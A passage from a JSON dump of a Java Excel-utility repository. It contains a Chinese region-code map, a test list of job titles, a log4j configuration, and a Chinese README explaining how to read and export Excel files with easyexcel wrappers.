\",\"622323\":\"甘肃省古浪县\",\"622326\":\"甘肃省天祝藏族自治县\",\"6224\":\"甘肃省定西地区\",\"622421\":\"甘肃省定西县\",\"622424\":\"甘肃省通渭县\",\"622425\":\"甘肃省陇西县\",\"622426\":\"甘肃省渭源县\",\"622427\":\"甘肃省临洮县\",\"622428\":\"甘肃省漳县\",\"622429\":\"甘肃省岷县\",\"6226\":\"甘肃省陇南地区\",\"622621\":\"甘肃省武都县\",\"622623\":\"甘肃省宕昌县\",\"622624\":\"甘肃省成县\",\"622625\":\"甘肃省康县\",\"622626\":\"甘肃省文县\",\"622627\":\"甘肃省西和县\",\"622628\":\"甘肃省礼县\",\"622629\":\"甘肃省两当县\",\"622630\":\"甘肃省徽县\",\"6227\":\"甘肃省平凉地区\",\"622701\":\"甘肃省平凉市\",\"622722\":\"甘肃省泾川县\",\"622723\":\"甘肃省灵台县\",\"622724\":\"甘肃省崇信县\",\"622725\":\"甘肃省华亭县\",\"622726\":\"甘肃省庄浪县\",\"622727\":\"甘肃省静宁县\",\"6228\":\"甘肃省庆阳地区\",\"622801\":\"甘肃省西峰市\",\"622821\":\"甘肃省庆阳县\",\"622822\":\"甘肃省环县\",\"622823\":\"甘肃省华池县\",\"622824\":\"甘肃省合水县\",\"622825\":\"甘肃省正宁县\",\"622826\":\"甘肃省宁县\",\"622827\":\"甘肃省镇原县\",\"6229\":\"甘肃省临夏回族自治州\",\"622901\":\"甘肃省临夏市\",\"622921\":\"甘肃省临夏县\",\"622922\":\"甘肃省康乐县\",\"622923\":\"甘肃省永靖县\",\"622924\":\"甘肃省广河县\",\"622925\":\"甘肃省和政县\",\"622926\":\"甘肃省东乡族自治县\",\"622927\":\"甘肃省积石山保安族东乡族撒拉族\",\"6230\":\"甘肃省甘南藏族自治州\",\"623021\":\"甘肃省临潭县\",\"623022\":\"甘肃省卓尼县\",\"623023\":\"甘肃省舟曲县\",\"623024\":\"甘肃省迭部县\",\"623025\":\"甘肃省玛曲县\",\"623026\":\"甘肃省碌曲县\",\"623027\":\"甘肃省夏河县\",\"63\":\"青海省\",\"6301\":\"青海省西宁市\",\"630101\":\"青海省西宁市市辖区\",\"630102\":\"青海省西宁市城东区\",\"630103\":\"青海省西宁市城中区\",\"630104\":\"青海省西宁市城西区\",\"630105\":\"青海省西宁市城北区\",\"630121\":\"青海省大通回族土族自治县\",\"6321\":\"青海省海东地区\",\"632121\":\"青海省平安县\",\"632122\":\"青海省民和回族土族自治县\",\"632123\":\"青海省乐都县\",\"632124\":\"青海省湟中县\",\"632125\":\"青海省湟源县\",\"632126\":\"青海省互助土族自治县\",\"632127\":\"青海省化隆回族自治县\",\"632128\":\"青海省循化撒拉族自治县\",\"6322\":\"青海省海北藏族自治州\",\"632221\":\"青海省门源回族自治县\",\"632222\":\"青海省祁连县\",\"632223\":\"青海省海晏县\",\"632224\":\"青海省刚察县\",\"6323\":\"青海省黄南藏族自治州\",\"632321\":\"青海省同仁县\",\"632322\":\"青海省尖扎县\",\"632323\":\"青海省泽库县\",\"632324\":\"青海省河南蒙古族自治县\",\"6325\":\"青海省海南藏族自治州\",\"632521\":\"青海省共和县\",\"632522\":\"青海省同德县\",\"632523\":\"青海省贵德县\",\"632524\":\"青海省兴海县\",\"632525\":\"青海省贵南县\",\"6326\":\"青海省果洛藏族自治州\",\"632621\":\"青海省玛沁县\",\"632622\":\"青海省班玛县\",\"632623\":\"青海省甘德县\",\"632624\":\"青海省达日县\",\"632625\":\"青海省久治县\",\"632626\":\"青海省玛多县\",\"6327\":\"青海省玉树藏族自治州\",\"632721\":\"青海省玉树县\",\"632722\":\"青海省杂多县\",\"632723\":\"青海省称多县\",\"632724\":\"青海省治多县\",\"632725\":\"青海省囊谦县\",\"632726\":\"青海省曲麻莱县\",\"6328\":\"青海省海西蒙古族藏族自治州\",\"632801\":\"青海省格尔木市\",\"632802\":\"青海省德令哈市\",\"632821\":\"青海省乌兰县\",\"632822\":\"青海省都兰县\",\"632823\":\"青海省天峻县\",\"64\":\"宁夏\",\"6401\":\"宁夏银川市\",\"640101\":\"宁夏银川市市辖区\",\"640102\":\"宁夏银川市城区\",\"640103\":\"宁夏银川市新城区\",\"640111\":\"宁夏银川市郊区\",\"640121\":\"宁夏永宁县\",\"640122\":\"宁夏贺兰县\",\"6402\":\"宁夏石嘴山市\",\"640201\":\"宁夏石嘴山市市辖区\",\"640202\":\"宁夏石嘴山市大武口区\",\"640203\":\"宁夏石嘴山市石嘴山区\",\"640204\":\"宁夏石嘴山市石炭井区\",\"640221\":\"宁夏平罗县\",\"640222\":\"宁夏陶乐县\",\"640223\":\"宁夏惠农县\",\"6421\":\"宁夏银南地区\",\"642101\":\"宁夏吴忠市\",\"642102\":\"宁夏青铜峡市\",\"642123\":\"宁夏中卫县\",\"642124\":\"宁夏中宁县\",\"642125\":\"宁夏灵武县\",\"642126\":\"宁夏盐池县\",\"642127\":\"宁夏同心县\",\"6422\":\"宁夏固原地区\",\"642221\":\"宁夏固原县\",\"642222\":\"宁夏海原县\",\"642223\":\"宁夏西吉县\",\"642224\":\"宁夏隆德县\",\"642225\":\"宁夏泾源县\",\"642226\":\"宁夏彭阳县\",\"65\":\"新疆\",\"6501\":\"新疆乌鲁木齐市\",\"650101\":\"新疆乌鲁木齐市市辖区\",\"650102\":\"新疆乌鲁木齐市天山区\",\"650103\":\"新疆乌鲁木齐市沙衣巴克区\",\"650104\":\"新疆乌鲁木齐市新市区\",\"650105\":\"新疆乌鲁木齐市水磨沟区\",\"650106\":\"新疆乌鲁木齐市头屯河区\",\"650107\":\"新疆乌鲁木齐市南山矿区\",\"650108\":\"新疆乌鲁木齐市东山区\",\"650121\":\"新疆乌鲁木齐县\",\"6502\":\"新疆克拉玛依市\",\"650201\":\"新疆克拉玛依市市辖区\",\"650202\":\"新疆克拉玛依市独山子区\",\"650203\":\"新疆克拉玛依市克拉玛依区\",\"650204\":\"新疆克拉玛依市白碱滩区\",\"650205\":\"新疆克拉玛依市乌尔禾区\",\"6521\":\"新疆吐鲁番地区\",\"652101\":\"新疆吐鲁番市\",\"652122\":\"新疆鄯善县\",\"652123\":\"新疆托克逊县\",\"6522\":\"新疆哈密地区\",\"652201\":\"新疆哈密市\",\"652222\":\"新疆巴里坤哈萨克自治县\",\"652223\":\"新疆伊吾县\",\"6523\":\"新疆昌吉回族自治州\",\"652301\":\"新疆昌吉市\",\"652302\":\"新疆阜康市\",\"652322\":\"新疆米泉县\",\"652323\":\"新疆呼图壁县\",\"652324\":\"新疆玛纳斯县\",\"652325\":\"新疆奇台县\",\"652327\":\"新疆吉木萨尔县\",\"652328\":\"新疆木垒哈萨克自治县\",\"6527\":\"新疆博尔塔拉蒙古自治州\",\"652701\":\"新疆博乐市\",\"652722\":\"新疆精河县\",\"652723\":\"新疆温泉县\",\"6528\":\"新疆巴音郭楞蒙古自治州\",\"652801\":\"新疆库尔勒市\",\"652822\":\"新疆轮台县\",\"652823\":\"新疆尉梨县\",\"652824\":\"新疆若羌县\",\"652825\":\"新疆且未县\",\"652826\":\"新疆焉耆回族自治县\",\"652827\":\"新疆和静县\",\"652828\":\"新疆和硕县\",\"652829\":\"新疆博湖县\",\"6529\":\"新疆阿克苏地区\",\"652901\":\"新疆阿克苏市\",\"652922\":\"新疆温宿县\",\"652923\":\"新疆库车县\",\"652924\":\"新疆沙雅县\",\"652925\":\"新疆新和县\",\"652926\":\"新疆拜城县\",\"652927\":\"新疆乌什县\",\"652928\":\"新疆阿瓦提县\",\"652929\":\"新疆柯坪县\",\"6530\":\"新疆克孜勒苏柯尔克孜自治州\",\"653001\":\"新疆阿图什市\",\"653022\":\"新疆阿克陶县\",\"653023\":\"新疆阿合奇县\",\"653024\":\"新疆乌恰县\",\"6531\":\"新疆喀什地区\",\"653101\":\"新疆喀什市\",\"653121\":\"新疆疏附县\",\"653122\":\"新疆疏勒县\",\"653123\":\"新疆英吉沙县\",\"653124\":\"新疆泽普县\",\"653125\":\"新疆莎车县\",\"653126\":\"新疆叶城县\",\"653127\":\"新疆麦盖提县\",\"653128\":\"新疆岳普湖县\",\"653129\":\"新疆伽师县\",\"653130\":\"新疆巴楚县\",\"653131\":\"新疆塔什库尔干塔吉克自治县\",\"6532\":\"新疆和田地区\",\"653201\":\"新疆和田市\",\"653221\":\"新疆和田县\",\"653222\":\"新疆墨玉县\",\"653223\":\"新疆皮山县\",\"653224\":\"新疆洛浦县\",\"653225\":\"新疆策勒县\",\"653226\":\"新疆于田县\",\"653227\":\"新疆民丰县\",\"6540\":\"新疆伊犁哈萨克自治州\",\"654001\":\"新疆奎屯市\",\"6541\":\"新疆伊犁地区\",\"654101\":\"新疆伊宁市\",\"654121\":\"新疆伊宁县\",\"654122\":\"新疆察布查尔锡伯自治县\",\"654123\":\"新疆霍城县\",\"654124\":\"新疆巩留县\",\"654125\":\"新疆新源县\",\"654126\":\"新疆昭苏县\",\"654127\":\"新疆特克斯县\",\"654128\":\"新疆尼勒克县\",\"6542\":\"新疆塔城地区\",\"654201\":\"新疆塔城市\",\"654221\":\"新疆额敏县\",\"654222\":\"新疆乌苏县\",\"654223\":\"新疆沙湾县\",\"654224\":\"新疆托里县\",\"654225\":\"新疆裕民县\",\"654226\":\"新疆和布克赛尔蒙古自治县\",\"6543\":\"新疆阿勒泰地区\",\"654301\":\"新疆阿勒泰市\",\"654321\":\"新疆布尔津县\",\"654322\":\"新疆富蕴县\",\"654323\":\"新疆福海县\",\"654324\":\"新疆哈巴河县\",\"654325\":\"新疆青河县\",\"654326\":\"新疆吉木乃县\",\"6590\":\"新疆省直辖行政单位\",\"659001\":\"新疆石河子市\",\"71\":\"台湾省\",\"7100\":\"台湾\",\"710000\":\"台湾省\",\"72\":\"香港\",\"7200\":\"香港特别行政区\",\"720000\":\"香港特别行政区\",\"73\":\"澳门\",\"7300\":\"澳门特别行政区\",\"91\":\"国外\"}"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/test-resources/data/job",
    "content": "Java,PHP,web前端,算法工程师,后端开发,C++,PHP,数据挖掘,C,C#,.NET,Hadoop,Python,Delphi,VB,Perl,Ruby,Node.js,搜索算法,Golang,自然语言处理,推荐算法,Erlang,算法工程师,语音/视频/图形开发,数据采集,移动开发,HTML5,Android,iOS,WP,移动web前端,Flash开发,JavaScript,U3D,COCOS2DX,测试工程师,自动化测试,功能测试,性能测试,测试开发,移动端测试,游戏测试,硬件测试,软件测试,运维工程师,运维开发工程师,网络工程师,系统工程师,IT技术支持,系统管理员,网络安全,系统安全,DBA,数据,ETL工程师,数据仓库,数据开发,数据挖掘,数据分析师,数据架构师,算法研究员,项目经理,项目主管,项目助理,项目专员,实施顾问,实施工程师,需求分析工程师,硬件,嵌入式,自动化,单片机,电路设计,驱动开发,系统集成,FPGA开发,DSP开发,ARM开发,PCB工艺,模具设计,热传导,材料工程师,精益工程师,射频工程师,前端开发,web前端,JavaScript,Flash开发,HTML5,通信技术工程师,通信研发工程师,数据通信工程师,移动通信工程师,电信网络工程师,电信交换工程师,有线传输工程师,无线射频工程师,通信电源工程师,通信标准化工程师,通信项目专员,通信项目经理,核心网工程师,通信测试工程师,通信设备工程师,光通信工程师,光传输工程师,光网络工程师,电子工程师,电气工程师,FAE,电气设计工程师,高端技术职位,技术经理,技术总监,测试经理,架构师,CTO,运维总监,技术合伙人,人工智能,机器学习,深度学习,图像算法,图像处理,语音识别,图像识别,算法研究员,软件销售支持,售前工程师,售后工程师,其他技术职位,产品经理,产品总监,数据产品经理,产品经理,网页产品经理,移动产品经理,产品助理,数据产品经理,电商产品经理,游戏策划,产品专员,高端产品职位,产品总监,游戏制作人,产品VP,其他产品职位,UI设计师,平面设计师,交互设计师,视觉设计,视觉设计师,网页设计师,Flash设计师,APP设计师,UI设计师,平面设计师,美术设计师（2D/3D）,广告设计师,多媒体设计师,原画师,游戏特效,游戏界面设计师,游戏场景,游戏角色,游戏动作,三维/CAD/制图,美工,包装设计,设计师助理,动画设计师,插画师,交互设计师,无线交互设计师,网页交互设计师,硬件交互设计师,数据分析师,用户研究员,游戏数值策划,UX设计师,用户研究经理,用户研究总监,高端设计职位,设计经理/主管,设计总监,视觉设计经理,视觉设计总监,交互设计经理/主管,交互设计总监,非视觉设计,服装设计,工业设计,橱柜设计,家具设计,家居设计,珠宝设计,室内设计,陈列设计,景观设计,其他设计职位,新媒体运营,产品运营,网络推广,运营,用户运营,产品运营,数据运营,内容运营,活动运营,商家运营,品类运营,游戏运营,网络推广,网站运营,新媒体运营,社区运营,微信运营,微博运营,策略运营,线下拓展运营,电商运营,运营助理/专员,内容审核,销售运营,编辑,副主编,内容编辑,文案策划,网站编辑,记者,采编,售前咨询,售后咨询,网络客服,客服经理,客服专员/助理,客服主管,客服总监,电话客服,咨询热线/呼叫中心客服,高端运营职位,主编,运营总监,COO,客服总监,运营经理/主管,其他运营职位,市场营销,市场推广,品牌公关,策划经理,选址开发,市场营销,市场策划,市场顾问,市场推广,SEO,SEM,商务渠道,商业数据分析,活动策划,网络营销,海外市场,政府关系,APP推广,公关媒介,媒介经理,广告协调,品牌公关,媒介专员,活动策划执行,媒介策划,会务会展,会议活动销售,会议活动策划,会议活动执行,会展活动销售,会展活动策划,会展活动执行,广告,广告创意,美术指导,广告设计师,策划经理,文案,广告制作,媒介投放,媒介合作,媒介顾问,广告审核,高端市场职位,市场总监,CMO,公关总监,媒介总监,创意总监,其他市场职位,人事/HR,行政,财务,培训,绩效考核,人力资源主管,招聘,HRBP,人力资源专员/助理,培训,薪资福利,绩效考核,人力资源经理,人力资源VP/CHO,人力资源总监,员工关系,组织发展,行政专员/助理,前台,行政主管,经理助理,后勤,商务司机,行政经理,行政总监,财务,会计,出纳,财务顾问,结算,税务,审计,风控,财务经理,CFO,财务总监,财务主管,法务专员/助理,律师,专利,法律顾问,法务主管,法务经理,法务总监,其他职能职位,CEO/总裁/总经理,事业部负责人,高级管理职位,CEO/总裁/总经理,副总裁/副总经理,事业部负责人,区域/分公司/代表处负责人,总裁/总经理/董事长助理,合伙人,创始人,董事会秘书,销售专员,销售经理,销售工程师,销售,销售专员,销售经理,客户代表,大客户代表,BD经理,商务渠道,渠道销售,代理商销售,销售助理,电话销售,销售顾问,商品经理,广告销售,网络营销,营销主管,销售工程师,客户经理,销售管理,销售总监,商务总监,区域总监,城市经理,销售VP,团队经理,其他销售职位,文案,广告创意,编辑,记者,媒介经理,采编/写作/出版,记者,编辑,采编,撰稿人,出版发行,校对录入,总编,自媒体,公关媒介,媒介经理,媒介专员,广告协调,品牌公关,活动策划执行,媒介策划,会务会展,会议活动销售,会议活动策划,会议活动执行,会展活动销售,会展活动策划,会展活动执行,广告,广告创意,美术指导,广告设计师,策划经理,文案,广告制作,媒介投放,媒介合作,媒介顾问,广告审核,主持人/DJ,影视媒体,助理,统筹制片人,执行制片人,导演/编导,摄影/摄像,视频编辑,音频编辑,经纪人,后期制作,影视制作,影视发行,影视策划,主播,演员/配音/模特,化妆/造型/服装,放映管理,录音/音效,制片人,编剧,其他传媒职位,投资经理,投资总监,风控,证券,投融资,投资经理,行业研究,资产管理,投资总监,投资VP,投资合伙人,融资,并购,投后管理,投资助理,其他投融资职位,投资顾问,风控,律师,资信评估,合规稽查,审计,法务,会计,清算,银行,信用卡销售,分析师,柜员,商务渠道,大堂经理,理财顾问,客户经理,信贷管理,风控,互联网金融,金融产品经理,风控,催收员,分析师,投资经理,交易员,理财顾问,合规稽查,审计,清算,保险业务,精算师,保险理赔,证券,证券经纪人,证券分析师,其他金融职位,汽车销售,汽车维修,零部件设计,汽车设计,车身设计,底盘设计,机械设计,动力系统设计,电子工程设计,零部件设计,汽车工程项目管理,内外饰设计工程师,总装工程师,焊接工程师,冲压工程师,质量工程师,汽车销售与制造,汽车销售,汽车配件销售,汽车售后服务,汽车维修,汽车美容,汽车定损理赔,二手车评估师,4S店管理,汽车改装工程师,其他汽车职位,课程设计,教务管理,IT培训,教育产品研发,课程设计,课程编辑,教师,培训研究,培训师,培训策划,其他教育产品研发职位,教育行政,校长,教务管理,教学管理,班主任/辅导员,教师,助教,高中教师,初中教师,小学教师,幼教,理科教师,文科教师,外语教师,音乐教师,美术教师,体育教师,就业老师,IT培训,JAVA培训讲师,Android培训讲师,ios培训讲师,PHP培训讲师,.NET培训讲师,C++培训讲师,Unity 3D培训讲师,Web前端培训讲师,软件测试培训讲师,动漫培训讲师,UI设计培训讲师,财会培训讲师,HR培训讲师,培训师,拓展培训,课程顾问,招生顾问,留学顾问,教练,舞蹈教练,瑜伽教练,瘦身顾问,游泳教练,健身教练,篮球/羽毛球教练,跆拳道教练,其他教育培训职位,药剂师,营养师,医疗器械研究,医生/医技,医生助理,医学影像,B超医生,中医,医师,心理医生,药剂师,牙科医生,康复治疗师,验光师,放射科医师,检验科医师,其他医生职位,护士长,护士/护理,导医,健康整形,营养师,整形师,理疗师,针灸推拿,生物制药,药品注册,药品生产,临床研究,临床协调,临床数据分析,医学总监,医药研发,医疗器械注册,医疗器械生产/质量管理,医疗器械研究,药店,店长,执业药师/驻店药师,店员/营业员,市场营销/媒体,医疗器械销售,医学编辑,医学总监,药学编辑,医药代表,健康顾问,医美咨询,其他医疗健康类职位,采购经理,采购主管,进出口贸易,采购,采购总监,采购经理,采购专员,买手,采购工程师,采购主管,采购助理,进出口贸易,外贸经理,外贸专员,外贸业务员,贸易跟单,其他采购/贸易类职位,物流专员,贸易跟单,供应链经理,物流,供应链专员,供应链经理,物流专员,物流经理,物流运营,物流跟单,贸易跟单,物仓调度,物仓项目,运输经理/主管,货运代理专员,货运代理经理,水/空/陆运操作,报关员,报检员,核销员,单证员,仓储,仓储物料经理,仓储物料专员,仓储物料项目,仓储管理,仓库文员,配/理/拣/发货,运输,货运司机,集装箱管理,配送,快递,高端供应链职位,供应链总监,物流总监,其他供应链职位,物业管理,房地产规划开发,房地产规划开发,房产策划,地产项目管理,地产招投标,弱电工程师,设计装修与市政建设,高级建筑工程师,建筑工程师,建筑设计师,土木/土建/结构工程师,室内设计,园林设计,城市规划设计,工程监理,工程造价,预结算,工程资料管理,建筑施工现场管理,房地产经纪,地产置业顾问,地产评估,地产中介,物业管理,物业租赁销售 ,物业招商管理,高端房地产职位,地产项目总监,地产策划总监,地产招投标总监,物业总监,房地产销售总监,其他房地产职位,企业管理咨询,事务所律师,咨询/调研,企业管理咨询,数据分析师,财务咨询顾问,IT咨询顾问,人力资源顾问,咨询项目管理,战略咨询,猎头顾问,市场调研,其他咨询顾问,知识产权,事务所律师,公司法务,英语翻译,日语翻译,韩语/朝鲜语翻译,法语翻译,德语翻译,俄语翻译,西班牙语翻译,其他语种翻译,高端咨询类职位,咨询总监,咨询经理,高级翻译,同声传译  ,其他咨询/翻译类职位,实习生,管培生,储备干部,管理培训生,储备干部,其他实习/培训/储备职位,旅游顾问,导游,旅游产品开发/策划,旅游服务,计调,签证,旅游顾问,导游,预定票务,旅游产品开发/策划,旅游产品经理,旅游策划师,其他旅游职位,酒店前台,客房服务员,发型师,保安,保洁,花艺师,婚礼策划师,礼仪迎宾,酒店,收银,酒店前台,客房服务员,酒店经理,后厨,配菜打荷,茶艺师,西点师,餐饮学徒,餐饮,收银,服务员,厨师,咖啡师,送餐员,餐饮店长,领班,督导/巡店,陈列员,理货员,零售,收银,导购,店员/营业员,门店店长,发型师,美甲师,化妆师,会籍顾问,健身,瑜伽教练,瘦身顾问,游泳教练,美体教练,美容师/顾问,舞蹈教练,健身教练,其他服务业职位,生产总监,安全员,质量管理/测试,生产营运,厂长/工厂经理,生产总监,生产经理/车间主任,生产组长/拉长,生产员,生产设备管理,生产计划/物料控制,生产跟单,质检员,质量管理/测试,可靠度工程师,故障分析师,认证工程师,体系工程师,审核员,安全员,机械设计/制造,机械工程师,机械设计师,机械设备工程师,机械维修/保养,机械制图,机械结构工程师,工业工程师,工艺/制程工程师,材料工程师,机电工程师,CNC/数控,冲压工程师,夹具工程师,模具工程师,焊接工程师,注塑工程师,铸造/锻造工程师,化工,化工工程师,实验室技术员,化学分析,涂料研发,化妆品研发,食品/饮料研发,服装设计,女装设计,男装设计,童装设计,内衣设计,面料设计,面料辅料开发,面料辅料采购,打样/制版,服装/纺织/皮革跟单,普工/操作工,叉车,铲车,焊工,氩弧焊工,电工,木工,漆工,车工,磨工,铣工,钳工,钻工,铆工,钣金,抛光,机修工,折弯工,电镀工,喷塑工,注塑工,组装工,包装工,空调工,电梯工,锅炉工,学徒工,其他生产制造职位"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/test-resources/log4j.properties",
    "content": "# Output pattern : date [thread] priority category - message\nrootdir=e:/logs\nmodule=sanritools\nlog4j.rootLogger=info,Console,errorAppender\n\nlog4j.logger.org.apache.kafka.common.config=warning,Console,errorAppender\nlog4j.additivity.org.apache.kafka.common.config=false\n\n#\n## \\u81EA\\u5DF1\\u7CFB\\u7EDF\\u7684\\u9700\\u8981\\u8BE6\\u7EC6\\u6253\\u5370\nlog4j.logger.com.sanri=debug,Console,debugAppender,errorAppender,RollingFile\nlog4j.additivity.com.sanri=false\nlog4j.logger.sanri=debug,Console,debugAppender,errorAppender,RollingFile\nlog4j.additivity.sanri=false\nlog4j.logger.learn=debug,Console,debugAppender,errorAppender,RollingFile\nlog4j.additivity.learn=false\n\n## \\u4FE1\\u606F\\u8FFD\\u52A0\\u5668\nlog4j.appender.debugAppender=org.apache.log4j.RollingFileAppender\nlog4j.appender.debugAppender.File=${rootdir}/sanri-${module}_debug.log\nlog4j.appender.debugAppender.append=true\nlog4j.appender.debugAppender.threshold=debug\nlog4j.appender.debugAppender.encoding=UTF-8\nlog4j.appender.debugAppender.MaxFileSize=64MB\nlog4j.appender.debugAppender.MaxBackupIndex=10\nlog4j.appender.debugAppender.layout=org.apache.log4j.PatternLayout\nlog4j.appender.debugAppender.layout.ConversionPattern=%-5p %d{yyyyMMdd HH:mm:ss} [%c:%L] - %n     [LOG] %m%n\n\n## \\u5F02\\u5E38\\u8FFD\\u52A0\\u5668\nlog4j.appender.errorAppender=org.apache.log4j.RollingFileAppender\nlog4j.appender.errorAppender.File=${rootdir}/sanri-${module}_error.log\nlog4j.appender.errorAppender.append=true\nlog4j.appender.errorAppender.threshold=error\nlog4j.appender.errorAppender.encoding=UTF-8\nlog4j.appender.errorAppender.MaxFileSize=64MB\nlog4j.appender.errorAppender.MaxBackupIndex=10\nlog4j.appender.errorAppender.layout=org.apache.log4j.PatternLayout\n#log4j.appender.errorAppender.layout.ConversionPattern=%-5p %d{yyyyMMdd HH\\:mm\\:ss} [%c\\:%L] - %n\nlog4j.appender.errorAppender.layout.ConversionPattern=%d [%t] %-5p [%C->%M(%L)] - %m%n\n#\n##Console\nlog4j.appender.Console=org.apache.log4j.ConsoleAppender\nlog4j.appender.Console.layout=org.apache.log4j.PatternLayout\nlog4j.appender.Console.layout.ConversionPattern=%d [%t] %-5p [%C->%M(%L)] - %m%n\n\n#RollingFile\nlog4j.appender.RollingFile=org.apache.log4j.DailyRollingFileAppender\nlog4j.appender.RollingFile.File=${rootdir}/sanri-${module}.log\nlog4j.appender.RollingFile.layout=org.apache.log4j.PatternLayout\n#log4j.appender.RollingFile.layout.ConversionPattern=[%d{yyyy-MM-dd HH:mm:ss}] %-5p [%t] - %m%n\nlog4j.appender.RollingFile.layout.ConversionPattern=%d [%t] %-5p [%C->%M(%L)] - %m%n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/easyexcel.md",
    "content": "# easyexcel-encapsulation\neasyexcel 项目地址 ：https://github.com/alibaba/easyexcel\n\n#### 对 easyexcel 进行了方法的封装，可以做到一个函数完成简单的读取和导出\n\n#### 目前 easyexcel 版本已经更新至 1.1.2-beta4\n\n---\n\n# 一. 依赖\n首先是添加该项目的依赖，目前的版本是 1.1.2-beta4\n```\n<dependency>\n\t<groupId>com.alibaba</groupId>\n\t<artifactId>easyexcel</artifactId>\n\t<version>1.1.2-beta4</version>\n</dependency>\n```\n\n# 二. 需要的类\n![](https://upload-images.jianshu.io/upload_images/8807674-5fe0519ac2597f96.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n## 1. ExcelUtil\n工具类，可以直接调用该工具类的方法完成 Excel 的读或者写\n\n## 2. ExcelListener\n监听类，可以根据需要，自定义处理获取到的数据\n```\npublic class ExcelListener extends AnalysisEventListener {\n\n    //自定义用于暂时存储data。\n    //可以通过实例获取该值\n    private List<Object> datas = new ArrayList<>();\n\n    /**\n     * 通过 AnalysisContext 对象还可以获取当前 sheet，当前行等数据\n     */\n    @Override\n    public void invoke(Object object, AnalysisContext context) {\n        //数据存储到list，供批量处理，或后续自己业务逻辑处理。\n        datas.add(object);\n        //根据自己业务做处理\n        doSomething(object);\n    }\n\n    private void doSomething(Object object) {\n    }\n\n    @Override\n    public void doAfterAllAnalysed(AnalysisContext context) {\n        /*\n            datas.clear();\n            解析结束销毁不用的资源\n         */\n    }\n\n    public List<Object> getDatas() {\n        return datas;\n    }\n\n    public void setDatas(List<Object> datas) {\n        this.datas = datas;\n    }\n}\n```\n\n## 3. ExcelWriterFactroy\n用于导出多个 sheet 的 Excel，通过多次调用 write 方法写入多个 sheet\n\n## 4. ExcelException\n捕获相关 Exception\n\n# 三. 读取 Excel\n读取 Excel 时只需要调用 ```ExcelUtil.readExcel()``` 方法\n```\n@RequestMapping(value = \"readExcel\", method = RequestMethod.POST)\npublic Object readExcel(MultipartFile excel) {\n    return ExcelUtil.readExcel(excel, new ImportInfo());\n}\n```\n\n其中 excel 是 MultipartFile 类型的文件对象，而 new ImportInfo() 是该 Excel 所映射的实体对象，需要继承 **BaseRowModel** 类，如：\n```\npublic class ImportInfo extends BaseRowModel {\n    @ExcelProperty(index = 0)\n    private String name;\n\n    @ExcelProperty(index = 1)\n    private String age;\n\n    @ExcelProperty(index = 2)\n    private String email;\n\n    /*\n        作为 excel 的模型映射，需要 setter 方法\n     */\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getAge() {\n        return age;\n    }\n\n    public void setAge(String age) {\n        this.age = age;\n    }\n\n    public String getEmail() {\n        return email;\n    }\n\n    public void setEmail(String email) {\n        this.email = email;\n    }\n}\n```\n作为映射实体类，通过 @ExcelProperty 注解与 index 变量可以标注成员变量所映射的列，同时不可缺少 setter 方法\n\n\n\n# 四. 导出 Excel\n### 1. 导出的 Excel 只拥有一个 sheet\n只需要调用 ```ExcelUtil.writeExcelWithSheets()``` 方法：\n```\n@RequestMapping(value = \"writeExcel\", method = RequestMethod.GET)\npublic void writeExcel(HttpServletResponse response) throws IOException {\n    List<ExportInfo> list = getList();\n    String fileName = \"一个 Excel 文件\";\n    String sheetName = \"第一个 sheet\";\n\n    ExcelUtil.writeExcelWithSheets(response, list, fileName, sheetName, new ExportInfo());\n    }\n```\nfileName，sheetName 分别是导出文件的文件名和 sheet 名，new ExportInfo() 为导出数据的映射实体对象，list 为导出数据。\n\n对于映射实体类，可以根据需要通过 @ExcelProperty 注解自定义表头，当然同样需要继承 BaseRowModel 类，如：\n```\npublic class ExportInfo extends BaseRowModel {\n    @ExcelProperty(value = \"姓名\" ,index = 0)\n    private String name;\n\n    @ExcelProperty(value = \"年龄\",index = 1)\n    private String age;\n\n    @ExcelProperty(value = \"邮箱\",index = 2)\n    private String email;\n\n    @ExcelProperty(value = \"地址\",index = 3)\n    private String address;\n}\n```\nvalue 为列名，index 为列的序号\n\n如果需要复杂一点，可以实现如下图的效果：\n![](https://upload-images.jianshu.io/upload_images/8807674-5cb70346428fea93.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n对应的实体类写法如下：\n```\npublic class MultiLineHeadExcelModel extends BaseRowModel {\n\n    @ExcelProperty(value = {\"表头1\",\"表头1\",\"表头31\"},index = 0)\n    private String p1;\n\n    @ExcelProperty(value = {\"表头1\",\"表头1\",\"表头32\"},index = 1)\n    private String p2;\n\n    @ExcelProperty(value = {\"表头3\",\"表头3\",\"表头3\"},index = 2)\n    private int p3;\n\n    @ExcelProperty(value = {\"表头4\",\"表头4\",\"表头4\"},index = 3)\n    private long p4;\n\n    @ExcelProperty(value = {\"表头5\",\"表头51\",\"表头52\"},index = 4)\n    private String p5;\n\n    @ExcelProperty(value = {\"表头6\",\"表头61\",\"表头611\"},index = 5)\n    private String p6;\n\n    @ExcelProperty(value = {\"表头6\",\"表头61\",\"表头612\"},index = 6)\n    private String p7;\n\n    @ExcelProperty(value = {\"表头6\",\"表头62\",\"表头621\"},index = 7)\n    private String p8;\n\n    @ExcelProperty(value = {\"表头6\",\"表头62\",\"表头622\"},index = 8)\n    private String p9;\n}\n```\n### 2. 导出的 Excel 拥有多个 sheet\n调用 ```ExcelUtil.writeExcelWithSheets()``` 处理第一个 sheet，之后调用 ```write()``` 方法依次处理之后的 sheet，最后使用 ```finish()``` 方法结束\n```\npublic void writeExcelWithSheets(HttpServletResponse response) throws IOException {\n    List<ExportInfo> list = getList();\n    String fileName = \"一个 Excel 文件\";\n    String sheetName1 = \"第一个 sheet\";\n    String sheetName2 = \"第二个 sheet\";\n    String sheetName3 = \"第三个 sheet\";\n\n    ExcelUtil.writeExcelWithSheets(response, list, fileName, sheetName1, new ExportInfo())\n                .write(list, sheetName2, new ExportInfo())\n                .write(list, sheetName3, new ExportInfo())\n                .finish();\n}\n```\nwrite 方法的参数为当前 sheet 的 list 数据，当前 sheet 名以及对应的映射类\n\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/pom.xml",
